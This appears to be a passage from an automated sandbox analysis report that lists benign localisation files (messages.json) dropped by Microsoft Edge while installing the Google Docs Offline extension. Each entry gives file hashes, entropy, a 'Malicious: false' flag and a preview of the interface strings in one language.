SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
